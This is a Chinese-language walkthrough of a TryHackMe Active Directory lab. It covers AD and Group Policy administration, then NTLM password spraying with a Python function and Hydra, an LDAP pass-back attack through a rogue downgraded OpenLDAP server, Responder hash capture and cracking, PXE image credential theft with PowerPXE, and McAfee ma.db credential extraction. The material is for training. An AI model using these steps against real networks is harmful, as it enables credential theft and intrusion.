PS C:\Users\phillip> Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

New Password: *********

VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".

由于我们不希望 Sophie 继续使用我们知道的密码,我们还可以在下次登录时使用以下命令强制重置密码:

1
2
3
PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".
在AD中管理计算机

默认情况下,加入域的所有计算机(DC 除外)都将放入名为“Computers”的容器中。如果我们检查 DC ,我们将看到一些设备已经在那里:

计算机开放大学

我们可以看到一些服务器、一些笔记本电脑和一些 PC,它们与我们网络中的用户相对应。将所有设备都放在那里并不是最好的主意,因为您很可能希望对服务器和普通用户每天使用的机器采用不同的策略。

虽然没有关于如何组织机器的黄金法则,但一个很好的起点是根据设备的用途对其进行分类。一般来说,您会看到设备至少分为以下三个类别:

1.工作站

工作站是 Active Directory 域中最常见的设备之一。域中的每个用户都可能登录工作站。这是他们用来工作或进行正常浏览活动的设备。这些设备绝不应该有特权用户登录。

2. 服务器

服务器是 Active Directory 域中第二常见的设备。服务器通常用于向用户或其他服务器提供服务。

3. 域控制器

域控制器是 Active Directory 域中第三大最常见的设备。域控制器允许您管理 Active Directory 域。这些设备通常被视为网络中最敏感的设备,因为它们包含环境中所有用户帐户的哈希密码。

由于我们正在整理 AD,因此让我们为WorkstationsServers创建两个单独的 OU (域控制器已位于Windows 创建的OU中)。我们将直接在域容器thm.local下创建它们。最后,您应该具有以下OU结构:

最终 OU 结构

现在,将个人计算机和笔记本电脑从计算机容器移至工作站OU,将服务器移至服务器OU 。这样做将允许我们稍后为每个OU配置策略。

组策略

到目前为止,我们只是出于方便的目的将用户和计算机组织在 OU 中,但其背后的主要思想是能够为每个OU单独部署不同的策略。这样,我们就可以根据用户所在的部门向他们推送不同的配置和安全基准。

Windows 通过**组策略对象 ( GPO )**管理此类策略。GPO 只是可应用于 OU 的设置集合。GPO 可以包含针对用户或计算机的策略,允许您为特定机器和身份设置基线。

要配置 GPO,您可以使用开始菜单中的组策略管理工具:

开始菜单 GPM

打开它时,您首先会看到完整的OU层次结构,如前所述。要配置组策略,首先在组策略对象下创建一个GPO ,然后将其链接到要应用策略的OU。例如,您可以看到您的计算机中已经存在一些 GPO:

您计算机中的现有 OU

我们在上图中可以看到已创建了 3 个 GPO。其中RDP PolicyDefault Domain Policy链接到thm.local整个域,Default Domain Controllers Policy仅链接到Domain Controllers OU。需要注意的是,任何 GPO 都将应用于链接的OU及其下的任何子 OU。例如,Sales OU仍将受到Default Domain Policy的影响。

让我们检查一下Default Domain PolicyGPO 里面有什么。选择 GPO 时看到的第一个选项卡显示其范围,即 GPO 在AD中的链接位置。对于当前策略,我们可以看到它仅链接到域thm.local

OU 范围

如您所见,您还可以将安全过滤应用于 GPO,以便它们仅应用于OU下的特定用户/计算机。默认情况下,它们将应用于经过身份验证的用户组,其中包括所有用户/ PC。

**“设置”**选项卡包含GPO的实际内容,并让我们知道它应用了哪些具体配置。如前所述,每个GPO都有仅适用于计算机的配置和仅适用于用户的配置。在本例中,Default Domain Policy仅包含计算机配置:

OU 设置

您可以随意浏览 GPO,并使用每个配置右侧的“显示”链接展开可用项目。在本例中,表示Default Domain Policy适用于大多数域的基本配置,包括密码和帐户锁定策略:

OU 详细设置

由于此 GPO 适用于整个域,因此对它的任何更改都会影响所有计算机。让我们更改最小密码长度策略,要求用户的密码至少包含 10 个字符。为此,右键单击 GPO并选择编辑

编辑 GPO 设置

这将打开一个新窗口,我们可以在其中浏览和编辑所有可用的配置。要更改最小密码长度,请转到Computer Configurations -> Policies -> Windows Setting -> Security Settings -> Account Policies -> Password Policy并更改所需的策略值:

密码策略 GPO

如您所见,可以在GPO中建立许多策略。虽然不可能在一个房间里解释每一项策略,但您可以随意探索一下,因为有些策略很简单。如果需要有关任何策略的更多信息,您可以双击它们并阅读每个策略的**“解释”选项卡:**

OU 设置说明选项卡

  • GPO分发

GPO 通过名为 的网络共享分发到网络SYSVOL,该共享存储在DC中。域中的所有用户通常都应能够通过网络访问此共享,以定期同步其 GPO。SYSVOL 共享默认指向C:\Windows\SYSVOL\sysvol\我们网络中每个 DC 上的目录。

一旦对任何 GPO 进行了更改,计算机可能需要长达 2 小时才能跟上。如果您想强制任何特定计算机立即同步其 GPO,您可以随时在所需的计算机上运行以下命令:

1
PS C:\> gpupdate /force

示例——创建一些GPO

  1. 阻止非 IT 用户访问控制面板。
  2. 让工作站和服务器在用户 5 分钟不活动后自动锁定屏幕,以避免人们暴露他们的会话。
  • 限制对控制面板的访问

我们希望将所有机器上的控制面板访问权限限制为仅属于 IT 部门的用户。其他部门的用户不应能够更改系统的首选项。

让我们创建一个名为的新GPORestrict Control Panel Access并打开它进行编辑。由于我们希望此GPO应用于特定用户,我们将查找User Configuration以下策略:

限制对控制面板的访问

请注意,我们已启用禁止访问控制面板和PC设置策略。

配置 GPO 后,我们需要将其链接到所有与不应有权访问其 PC 控制面板的用户相对应的 OU。在本例中,我们将通过将GPO拖到每个 OU 来链接MarketingManagementSales

链接限制控制面板 GPO

  • 自动锁屏

于工作站和服务器的屏幕锁定,我们可以直接将其应用于我们之前创建的WorkstationsServers,但另一种方法是将 GPO 简单地应用于根域,因为我们希望 GPO影响我们所有的计算机。由于WorkstationsServersDomain ControllersOU 都是根域的子 OU,因此它们将继承其策略。

如果我们的GPO应用于根域,它也将被其他 OU(如Sales或 )继承。由于这些 OU 仅包含用户,因此我们的GPO中的任何计算机配置都将被它们忽略。

让我们创建一个新的GPO,命名它Auto Lock Screen,然后编辑它。实现我们想要的策略位于以下路由中:

配置机器不活动限制

我们将不活动限制设置为 5 分钟,这样如果任何用户保持其会话打开,计算机就会自动锁定。关闭GPO编辑器后,我们将通过将GPO拖到根域来将GPO链接到根域:

链接自动锁屏 GPO

身份验证方法

使用 Windows 域时,所有凭据都存储在域控制器中。每当用户尝试使用域凭据向服务进行身份验证时,该服务都需要请求域控制器验证它们是否正确。Windows 域中的网络身份验证可以使用两种协议:

  • **Kerberos:**任何较新版本的 Windows 均使用此协议。这是任何较新域中的默认协议。
  • **NetNTLM:**为了兼容性目的而保留的旧式身份验证协议。

AD域攻击

全球财富 1000 强公司中约有 90% 使用 Active Directory (AD)。如果某个组织的资产使用 Microsoft Windows,那么您几乎肯定会找到AD。Microsoft AD是用于管理 Windows 域网络的主要套件。但是,由于AD用于整个资产的身份和访问管理,因此它掌握着整个资产的钥匙,因此它很可能成为攻击者的目标。

在我们利用AD错误配置进行权限提升、横向移动和目标执行之前,您需要先获得初始访问权限。您需要获取一组初始的有效AD凭据。由于AD服务和功能的数量众多,获取一组初始AD凭据的攻击面通常很大。在这个房间里,我们将讨论几种途径,但这绝不详尽。

在寻找第一组凭据时,我们不会关注与帐户相关的权限;因此,即使是低权限帐户也足够了。我们只是在寻找一种对AD进行身份验证的方法,以便我们对AD本身进行进一步枚举。

我们将介绍以下技术来恢复此网络中的AD凭据:

  • NTLM认证服务
  • LDAP 绑定凭证
  • 身份验证中继
  • Microsoft 部署工具包
  • 配置文件

1、OSINT和网络钓鱼

获取第一组 AD 凭据的两种流行方法,具体方法不赘述

2、NTLM认证服务

新技术 LAN 管理器 (NTLM) 是用于在AD中验证用户身份的安全协议套件。NTLM可通过使用名为NetNTLM的质询-响应方案进行身份验证。网络上的服务大量使用此身份验证机制。但是,使用 NetNTLM 的服务也可能暴露在互联网上。以下是一些常见示例:

  • 内部托管的 Exchange(邮件)服务器,公开 Outlook Web App (OWA) 登录门户。
  • 暴露给互联网的服务器的远程桌面协议 ( RDP ) 服务。
  • 暴露与AD集成的 VPN 端点。
  • 面向互联网并使用 NetNTLM 的 Web 应用程序。

NetNTLM,也常被称为 Windows 身份验证或 NTLM 身份验证,允许应用程序扮演客户端和AD之间的中间人角色。所有身份验证材料都以质询的形式转发到域控制器,如果成功完成,应用程序将对用户进行身份验证。

这意味着应用程序代表用户进行身份验证,而不是直接在应用程序本身上对用户进行身份验证。这可以防止应用程序存储AD凭据,这些凭据只能存储在域控制器上。此过程如下图所示:

img

暴力登录攻击

如任务 2 中所述,这些公开的服务为测试使用其他方式发现的凭据提供了绝佳的位置。但是,这些服务也可以直接用于尝试恢复一组初始的有效AD凭据。如果我们在初始红队侦察期间恢复了有效电子邮件地址等信息,我们或许可以尝试使用这些服务进行暴力攻击。

由于大多数 AD 环境都配置了帐户锁定,因此我们无法运行完整的暴力攻击。相反,我们需要执行密码喷洒攻击。我们不会尝试多个不同的密码(这可能会触发帐户锁定机制),而是选择并使用一个密码并尝试使用我们获得的所有用户名进行身份验证。但是,应该注意的是,由于这些类型的攻击会产生大量失败的身份验证尝试,因此可以检测到它们。

我们可以使用Hydra等工具来协助密码喷洒攻击。但是,自己编写这些类型的攻击脚本通常更好,这样可以让你更好地控制整个过程。任务文件中提供了一个可用于密码喷洒攻击的基本 Python 脚本。以下函数是脚本的主要组成部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

此函数将我们建议的密码和我们定位的 URL 作为输入,并尝试使用文本文件中的每个用户名对该 URL 进行身份验证。通过监控应用程序的HTTP响应代码的差异,我们可以确定凭证对是否有效。如果凭证对有效,应用程序将以 200 HTTP(OK)代码响应。如果凭证对无效,应用程序将返回 401 HTTP(未授权)代码。

也可以使用Hydra

1
hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'

3、LDAP绑定凭证

应用程序可以使用的另一种 AD 身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证类似于 NTLM 身份验证。但是,使用 LDAP 身份验证,应用程序会直接验证用户的凭据。应用程序有一对 AD 凭据,可以先使用这些凭据查询 LDAP,然后验证 AD 用户的凭据。

LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的一种流行机制。这些应用程序和系统包括:

  • Gitlab
  • Jenkins
  • 定制开发的 Web 应用程序
  • 打印机
  • VPNs

如果任何这些应用程序或服务暴露在互联网上,那么就可以使用与针对 NTLM 身份验证系统相同类型的攻击。但是,由于使用 LDAP 身份验证的服务需要一组AD凭据,因此它开辟了额外的攻击途径。本质上,我们可以尝试恢复服务使用的AD凭据以获得对AD 的身份验证访问权限。通过 LDAP 进行身份验证的过程如下所示:

img

如果您可以在正确的主机(例如 Gitlab 服务器)上立足,那么只需读取配置文件即可恢复这些AD凭据。这些凭据通常以纯文本形式存储在配置文件中,因为安全模型依赖于确保位置和存储配置文件的安全,而不是其内容的安全。

LDAP 回传攻击

但是,还有一种非常有趣的攻击可以针对 LDAP 身份验证机制,称为 LDAP 回传攻击。当您获得对内部网络的初始访问权限时,例如在会议室中插入恶意设备,这是一种针对网络设备(如打印机)的常见攻击。

当我们获得指定 LDAP 参数的设备配置访问权限时,就可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些界面的凭据保持为默认值,例如admin:adminadmin:password。在这里,我们无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。

此网络中有一台网络打印机,管理网站不需要凭据。

img

使用浏览器检查,我们还可以验证打印机网站至少足够安全,不会将 LDAP 密码发送回浏览器:

img

因此,我们有用户名,但没有密码。但是,当我们按下测试设置时,我们可以看到向域控制器发出了身份验证请求以测试 LDAP 凭据。让我们尝试利用这一点让打印机连接到我们,这将泄露凭据。为此,让我们使用一个简单的 Netcat 侦听器来测试我们是否可以让打印机连接到我们。由于 LDAP 的默认端口是 389,我们可以使用以下命令:

1
nc -lvp 389

连接建立

1
2
3
4
5
6
7
8
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
objectclass0?supportedCapabilities

可能需要多次尝试才能收到连接,但它应该在 5 秒内做出响应。supportedCapabilities 响应告诉我们有问题。本质上,在打印机发送凭据之前,它正在尝试协商 LDAP 身份验证方法详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。如果身份验证方法太安全,凭据将不会以明文形式传输。对于某些身份验证方法,凭据根本不会通过网络传输!所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个恶意 LDAP 服务器并对其进行不安全的配置,以确保凭据以明文形式发送。

托管恶意 LDAP 服务器

有几种方法可以托管恶意 LDAP 服务器,但在本例中我们将使用 OpenLDAP。

使用以下命令安装 OpenLDAP:

1
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

但是,您还必须在 AttackBox 上配置自己的恶意 LDAP 服务器。我们将首先使用以下命令重新配置 LDAP 服务器:

1
sudo dpkg-reconfigure -p low slapd

如果您想跳过服务器配置,请确保在请求时按<否>:

img

对于DNS域名,您需要提供我们的目标域,即za.tryhackme.com

img

对组织名称也使用相同的名称:

img

提供任意管理员密码:

img

选择 MDB 作为要使用的 LDAP 数据库:

img

对于最后两个选项,请确保清除时不会删除数据库:

img

在创建新数据库文件之前移动旧数据库文件:

img

在使用恶意 LDAP 服务器之前,我们需要通过降级支持的身份验证机制使其易受攻击。我们希望确保我们的 LDAP 服务器仅支持 PLAIN 和 LOGIN 身份验证方法。为此,我们需要创建一个新的 ldif 文件,其内容如下:

olcSaslSecProps.ldif

1
2
3
4
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

该文件具有以下属性:

  • **olcSaslSecProps:**指定 SASL 安全属性
  • **noanonymous:**禁用支持匿名登录的机制
  • **minssf:**指定可接受的最小安全强度,0 表示无保护。

现在我们可以使用 ldif 文件来修补我们的 LDAP 服务器,方法如下:

1
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

我们可以使用以下命令验证我们的恶意 LDAP 服务器的配置是否已应用(注意:如果您使用的是 Kali,则可能不会收到任何输出,但配置应该已经起作用,您可以继续执行后续步骤):

LDAP 搜索以验证支持的身份验证机制

1
2
3
4
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

捕获 LDAP 凭证

我们的恶意 LDAP 服务器现已配置完毕。单击http://printer.za.tryhackme.com/settings.aspx上的“测试设置”时,身份验证将以明文形式进行。如果您正确配置了恶意 LDAP 服务器,并且它正在降低通信质量,您将收到以下错误:“此可分辨名称包含无效语法”。如果收到此错误,您可以使用 tcpdump 捕获凭据(也可以通过wireshark等捕获),方法是使用以下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73 isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5010 01f6 2930 0000 P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@.@......9
0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11

4、身份验证中继

服务器消息块 (SMB)

  • 由 Windows(和 Linux)系统使用,以促进文件共享、远程管理等。
  • SMB 协议的较新版本解决了一些漏洞,但拥有旧系统的公司仍在使用旧版本。
  • SMB 通信未加密,可以被拦截。

LLMNR、NBT-NS 和 WPAD

  • NBT-NS 和 LLMNR 是将主机名解析为 LAN 上的 IP 地址的方法。
  • WPAD 是 Windows 主机自动发现 Web 代理的一种方式。
  • 这些协议在局域网上广播,因此可能被毒化,欺骗主机认为它们正在与预定目标对话。
  • 由于这些是第 2 层协议,因此任何时候我们使用 Responder 捕获和毒害请求时,我们都必须与目标位于同一个 LAN 上

使用Responder捕获哈希并破解

运行 Responder 并等待客户端连接

1
sudo responder -I breachad

breachad为Open VPN接口,我的为tun0

Hash

可用johnhashcat等破解hash

1
2
echo 'svcFileCopy::ZA:7cc90fae8c5d340d:4A9DCB457EC6B03CB8590632B3022206:010100000000000000CCDAED93A7D801F341996CD2C757EC00000000020008004E00360034004C0001001E00570049004E002D003500310032004B004C0041005A004400450039004F0004003400570049004E002D003500310032004B004C0041005A004400450039004F002E004E00360034004C002E004C004F00430041004C00030014004E00360034004C002E004C004F00430041004C00050014004E00360034004C002E004C004F00430041004C000700080000CCDAED93A7D80106000400020000000800300030000000000000000000000000200000A5ABACBF56562183324A9E5783EA22C522BE71493FF32CF3AAA81CA6A4F7CE880A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00350032002E00330034000000000000000000' > hash
john --wordlist=./passwordlist.txt hash

5、Microsoft部署工具包

大型组织需要工具来部署和管理资产的基础设施。在大型组织中,您不能让 IT 人员使用 DVD 甚至 USB 闪存盘在每台机器上安装软件。幸运的是,Microsoft 已经提供了管理资产所需的工具。但是,我们可以利用这些工具中的错误配置来破坏AD。

MDT 和 SCCM

Microsoft 部署工具包 (MDT) 是一项 Microsoft 服务,可帮助自动部署 Microsoft 操作系统 ( OS )。大型组织使用 MDT 等服务来帮助更有效地在其资产中部署新映像,因为可以在中心位置维护和更新基础映像。

通常,MDT 与 Microsoft 的系统中心配置管理器 (SCCM) 集成,后者管理所有 Microsoft 应用程序、服务和操作系统的所有更新。MDT 用于新部署。本质上,它允许 IT 团队预先配置和管理启动映像。因此,如果他们需要配置一台新机器,他们只需插入一根网线,一切就会自动发生。他们可以对启动映像进行各种更改,例如已经安装默认软件(如 Office365)和组织选择的防病毒软件。它还可以确保在第一次运行安装时更新新版本。

SCCM 几乎可以看作是 MDT 的扩展和老大哥。软件安装后会发生什么?SCCM 可以进行这种类型的补丁管理。它允许 IT 团队查看整个资产中安装的所有软件的可用更新。团队还可以在沙盒环境中测试这些补丁,以确保它们稳定,然后再将它们集中部署到所有加入域的计算机。它使 IT 团队的工作变得轻松很多。

然而,任何提供基础设施集中管理的东西,例如 MDT 和 SCCM,都可能成为攻击者的目标,他们试图接管房地产中的大部分关键功能。虽然 MDT 可以以各种方式配置,但对于这项任务,我们将专注于一种称为预启动执行环境 (PXE) 启动的配置。

如果攻击者可以假装是网络上的 PXE 启动客户端并通过 DHCP 请求从 MDT 请求映像,那么攻击者可以在安装过程中和安装后从 PXE 映像中注入或抓取信息。

PXE 启动

大型组织使用 PXE 启动来允许连接到网络的新设备通过网络连接直接加载和安装操作系统。MDT可用于创建、管理和托管 PXE 启动映像。PXE 启动通常与 DHCP 集成,这意味着如果 DHCP 分配 IP 租约,则允许主机请求 PXE 启动映像并启动网络操作系统安装过程。通信流程如下图所示**:**

img执行该过程后,客户端将使用 TFTP 连接下载 PXE 启动映像。我们可以将 PXE 启动映像用于两个不同的目的:

  • 注入权限提升向量(例如本地管理员帐户),以便在 PXE 启动完成后获得操作系统的管理访问权限。
  • 执行密码抓取攻击来恢复安装期间使用的AD凭据。

在此任务中,我们将重点关注后者。我们将尝试在安装期间恢复与 MDT 服务关联的部署服务帐户,以进行此密码抓取攻击。此外,还有可能检索用于无人值守安装应用程序和服务的其他AD帐户。

PXE 启动映像检索

由于DHCP有点棘手,我们将绕过此攻击的初始步骤。我们将跳过尝试从DHCP请求 IP 和 PXE 启动预配置详细信息的部分。我们将手动执行此步骤中的其余攻击。

您通过DHCP收到的有关 PXE Boot 预配置的第一条信息是 MDT 服务器的 IP。在我们的例子中,您可以从 TryHackMe 网络图中恢复该信息。

您将收到的第二条信息是 BCD 文件的名称。这些文件存储了与不同类型架构的 PXE Boots 相关的信息。要检索此信息,您需要连接到此网站:http://pxeboot.za.tryhackme.com。它将列出各种 BCD 文件:

img

通常,您会使用 TFTP 请求每个 BCD 文件并枚举所有文件的配置。但是,为了节省时间,我们将重点介绍x64架构的 BCD 文件。复制并存储此文件的全名。在本练习的其余部分,我们将使用此名称占位符,x64{7B...B3}.bcd因为文件及其名称每天都由 MDT 重新生成。每次看到此占位符时,请记住将其替换为您的特定 BCD 文件名。

现在,从DHCP恢复了这些初始信息,我们可以枚举并检索 PXE 启动映像。我们将在接下来的几个步骤中使用 THMJMP1 上的SSH连接

为了确保网络的所有用户都可以使用SSH,请首先使用您的用户名创建一个文件夹,然后将 powerpxe repo 复制到此文件夹中:

1
2
3
4
C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>

我们需要执行的第一步是使用 TFTP 并下载我们的 BCD 文件以读取 MDT 服务器的配置。TFTP 比 FTP 稍微复杂一些,因为我们无法列出文件。相反,我们发送文件请求,服务器将通过 UDP 连接回我们以传输文件。因此,我们在指定文件和文件路径时需要准确。BCD 文件始终位于 MDT 服务器上的 /Tmp/ 目录中。我们可以在 SSH 会话中使用以下命令启动 TFTP 传输:

1
2
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

现在恢复了 BCD 文件,我们将使用powerpxe读取其内容。Powerpxe 是一个 PowerShell 脚本,可自动执行此类攻击,但通常结果各不相同,因此最好采用手动方法。我们将使用powerpxe 的 Get-WimFile 函数从 BCD 文件中恢复 PXE 启动映像的位置:

SSH命令提示符

1
2
3
4
5
6
7
8
9
10
C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location>

WIM 文件是 Windows 映像格式 (WIM) 中的可启动映像。现在我们有了 PXE 启动映像的位置,我们可以再次使用 TFTP 下载此映像:

1
2
PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s

从 PXE 启动映像恢复凭据

现在我们已经恢复了 PXE 启动映像,我们可以窃取存储的凭据。需要注意的是,我们可以发起各种攻击。我们可以注入本地管理员用户,这样我们在映像启动后就拥有管理员访问权限,我们可以安装映像以拥有加入域的机器。如果您有兴趣了解有关这些攻击的更多信息,可以阅读这篇文章。本练习将重点介绍仅尝试窃取凭据的简单攻击。

再次,我们将使用 powerpxe 来恢复凭据,但您也可以通过提取图像并查找 bootstrap.ini 文件(这些类型的凭据通常存储在该文件中)手动执行此步骤。要使用 powerpxe 从引导文件中恢复凭据,请运行以下命令:

1
2
3
4
5
6
7
PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>

如您所见,powerpxe 能够恢复AD凭据。我们现在有另一组可以使用的AD凭据!

6、配置文件

我们将在此网络中探索的最后一个枚举途径是配置文件。假设您足够幸运地造成了一次入侵,使您能够访问组织网络上的主机。在这种情况下,配置文件是尝试恢复AD凭据的绝佳途径。根据被入侵的主机,各种配置文件可能对枚举有价值:

  • Web 应用程序配置文件
  • 服务配置文件
  • 注册表项
  • 集中部署的应用程序

可以使用多个枚举脚本(例如Seatbelt )来自动执行此过程。

配置文件凭证

在此任务中,我们将重点介绍如何从集中部署的应用程序中恢复凭据。通常,这些应用程序在安装和执行阶段都需要一种方法来向域进行身份验证。此类应用程序的一个例子是 McAfee Enterprise Endpoint Security,组织可以将其用作安全的端点检测和响应工具。

McAfee 将安装期间用于重新连接到 Orchestrator 的凭据嵌入到名为 ma.db 的文件中。可以通过对主机的本地访问来检索和读取此数据库文件,以恢复关联的AD服务帐户。我们将再次使用THMJMP1 上的SSH访问权限进行此练习。

ma.db文件存储在固定位置:

1
2
3
4
5
6
7
8
9
10
11
12
thm@THMJMP1 C:\Users\THM>cd C:\ProgramData\McAfee\Agent\DB
thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir
Volume in drive C is Windows 10
Volume Serial Number is 6A0F-AA0F

Directory of C:\ProgramData\McAfee\Agent\DB

03/05/2022 10:03 AM <DIR> .
03/05/2022 10:03 AM <DIR> ..
03/05/2022 10:03 AM 120,832 ma.db
1 File(s) 120,832 bytes
2 Dir(s) 39,426,285,568 bytes free

我们可以使用 SCP 将 ma.db 复制到我们的 AttackBox:

1
2
3
thm@thm:~/thm# scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
thm@10.200.4.249's password:
ma.db 100% 118KB 144.1KB/s 00:00

要读取数据库文件,我们将使用名为 sqlitebrowser 的工具。我们可以使用以下命令打开数据库:

1
thm@thm:# sqlitebrowser ma.db

使用 sqlite3或sqlitebrowser,我们将选择浏览数据选项并关注 AGENT_REPOSITORIES 表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sqlite3 ./ma.db

# List the tables in the database
# Note the AGENT_REPOSITORIES table we're interested in
sqlite> .tables
AGENT_CHILD AGENT_PROXIES MA_DATACHANNEL_MESSAGES
AGENT_LOGS AGENT_PROXY_CONFIG
AGENT_PARENT AGENT_REPOSITORIES


# Dump the table schema
# Note the column names
# NAME
# UNIQUE
# REPO_TYPE
# URL_TYPE
# NAMESPACE
# PROXY_USAGE
# AUTH_TYPE
# ENABLED
# SERVER_FQDN
# SERVER_IP
# SERVER_NAME
# PORT
# SSL_PORT
# DOMAIN
# AUTH_USER
# AUTH_PASSWD
# IS_PASSWD_ENCRYPTED
# PING_TIME
# SUBNET_DISTANCE
# SITELIST_ORDER
# STATE
sqlite> .schema AGENT_REPOSITORIES
